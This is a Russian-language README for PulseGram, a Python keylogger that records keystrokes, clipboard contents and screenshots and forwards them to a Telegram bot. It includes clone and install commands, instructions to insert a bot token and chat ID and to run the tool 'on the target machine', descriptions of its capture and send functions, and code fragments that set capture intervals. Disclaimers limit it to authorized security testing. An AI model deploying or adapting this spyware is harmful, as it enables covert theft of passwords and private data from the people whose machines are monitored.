
Кейлоггер на Python с интеграцией Telegram-бота для захвата нажатий клавиш, содержимого буфера обмена и снимков экрана в авторизованных средах тестирования безопасности.
PulseGram — это кейлоггер, интегрированный с Telegram-ботом. Это инструмент мониторинга, который перехватывает нажатия клавиш, содержимое буфера обмена и снимки экрана, отправляя всю информацию настроенному Telegram-боту. Он предназначен для использования в контексте симуляции атак и тестирования безопасности.
⚠️ Внимание: Этот проект предназначен только для образовательных целей и тестирования безопасности в авторизованных средах. Несанкционированное использование этого инструмента может быть незаконным и запрещено.
_____ _ _____
| __ \ | | / ____|
| |__) | _| |___ ___| | __ _ __ __ _ _ __ ___
| ___/ | | | / __|/ _ \ | |_ | '__/ _` | '_ ` _ \
| | | |_| | \__ \ __/ |__| | | | (_| | | | | | |
|_| \__,_|_|___/\___|\_____|_| \__,_|_| |_| |_|
Автор: Omar Salazar
Версия: V.1.0
errors_log.txt для упрощения отладки.
Клонируйте репозиторий:
git clone https://github.com/TaurusOmar/pulsegram
cd pulsegram
Установите зависимости: убедитесь, что у вас установлены Python 3 и pip. Затем выполните:
pip install -r requirements.txt
Настройте токен Telegram-бота:
Создайте бота в Telegram с помощью BotFather.
Скопируйте свой токен и вставьте его в код в файле main.py, где инициализируется бот.
Скопируйте ваш ChatID chat_id="131933xxxx" в файле keylogger.py
Запустите инструмент на целевой машине:
python pulsegram.py
Это главный файл инструмента, который инициализирует бота и запускает асинхронные задачи для захвата и отправки данных.
Bot(token="..."): Инициализирует Telegram-бота с вашим личным токеном.
asyncio.gather(...): Запускает несколько задач для выполнения мониторинга буфера обмена, захвата снимков экрана и записи нажатий клавиш.
log_error: В случае ошибок записывает их в файл errors_log.txt.
Этот модуль содержит вспомогательные функции, обеспечивающие общую работу инструмента.
log_error(): Записывает любые ошибки в errors_log.txt с указанием даты и времени.
get_clipboard_content(): Захватывает текущее содержимое буфера обмена.
capture_screenshot(): Делает снимок экрана и временно сохраняет его для отправки в Telegram-бота.
Этот модуль отвечает за запись нажатий клавиш, мониторинг буфера обмена и захват снимков экрана.
capture_keystrokes(bot): Асинхронная функция, которая захватывает нажатия клавиш и отправляет информацию в Telegram-бота.
send_keystrokes_to_telegram(bot): Эта функция отправляет накопленные нажатия клавиш боту.
capture_screenshots(bot): Периодически делает снимок экрана и отправляет его боту.
log_clipboard(bot): Отправляет содержимое буфера обмена боту.
Измените временной интервал захвата и отправки информации.
async def send_keystrokes_to_telegram(bot):
global keystroke_buffer
while True:
await asyncio.sleep(1) # Change the key sending interval
async def capture_screenshots(bot):
while True:
await asyncio.sleep(30) # Change the screenshot capture interval
try:
async def log_clipboard(bot):
previous_content = ""
while True:
await asyncio.sleep(5) # Change the interval to check for clipboard changes
current_content = get_clipboard_content()
Этот проект предназначен только для образовательных целей и тестирования безопасности в ваших собственных средах или с явного разрешения. Несанкционированное использование этого инструмента может нарушать местные законы и политики конфиденциальности.
Вклад приветствуется. Пожалуйста, соблюдайте кодекс поведения при сотрудничестве.
Этот проект лицензирован по лицензии MIT.